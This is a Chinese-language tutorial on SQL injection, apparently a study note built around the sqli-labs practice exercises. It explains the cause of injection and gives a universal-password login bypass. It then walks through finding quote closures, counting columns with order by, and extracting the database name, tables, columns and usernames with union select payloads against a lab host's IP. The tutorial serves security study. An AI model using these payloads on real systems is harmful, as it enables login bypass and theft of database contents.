目录
一、SQL注入的原理
二、SQL注入的两个关键点
三、SQL注入的危害
四、SQL注入的目的
五、SQL注入的分类
六、SQL注入流程
SQL注入之布尔盲注
1、产生原因:
当Web应用程序向后台数据库传递sQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,攻击者就可以构造特殊的SQL语句,直接输入到数据库引擎执行,获取甚至修改数据库中的数据。
2、本质:
就是把用户输入的数据当成代码来执行,违背了“数据与代码”分离的原则。
1、用户要能够控制输入的内容
2、Web应用能够把用户输入的内容带入到数据库执行
mysql注释:#、--+、%23
1、盗取完整的敏感信息
2、绕过后台的登录验证
万能密码:' or '1' = '1' #
2.1、正常的语句:select * from users where uaername='user' and password='pass'
2.2、使用万能密码后的语句:select * from users where uaername='' or '1' = '1' #' and password='pass'
相当于:select * from users where uaername='' or '1' = '1'
1、查询数据
2、读写文件
3、执行命令
1、根据注入位置分类:GET型、POST型、Head头注入
2、根据反馈结果分类:有回显(显错注入)、无回显(盲注)
3、根据数据类型分类:
数字型:输入的参数为整型,如id、年龄、页码等
字符型:输入的参数为字符串
数字型与字符型最大的区别在于:数字型不需要闭合,而字符串型一般需要闭合。
1、寻找注入点
2、判断闭合方式
>>示例1:
http://47.109.71.232:8080/Less-1/?id=1
http://47.109.71.232:8080/Less-1/?id=1asdf
>>>以上示例说明是字符型。
>>示例2:
http://47.109.71.232:8080/Less-2/?id=1
http://47.109.71.232:8080/Less-2/?id=1asdf
>>>以上示例说明是数字型。
http://47.109.71.232:8080/Less-1/?id=1asdf'
#报错信息部分内容
''1asdf'' LIMIT 0,1'
1、上述内容中的符号都是单引号,最左边的符号是两个单引号,不是双引号。
2、
' '
" "
( )
[ ]
{ }
...
都是成双成对的
3、输入的内容是1asdf'
4、如果前面的两个都是双引号,那么就会多出最后一个单引号。
>>示例1:
http://47.109.71.232:8080/Less-3/?id=1asdf'
>>>以上示例看出:闭合符号是:')
3、验证
http://47.109.71.232:8080/Less-1/?id=1' and 1=1 --+
http://47.109.71.232:8080/Less-1/?id=1' and 1=2 --+
4、判断列数和回显位
http://47.109.71.232:8080/Less-1/?id=1' order by 4--+
http://47.109.71.232:8080/Less-1/?id=1' order by 3--+
>>>判断有四列的时候报错,判断有三列的时候正确回显,说明列数为三。
http://47.109.71.232:8080/Less-1/?id=-1'union select 1,2,3--+
5、取数据
http://47.109.71.232:8080/Less-1/?id=-1' union select 1,database(),3--+
http://47.109.71.232:8080/Less-1/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
http://47.109.71.232:8080/Less-1/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),3--+
http://47.109.71.232:8080/Less-1/?id=-1' union select 1,(select group_concat(username) from users),3--+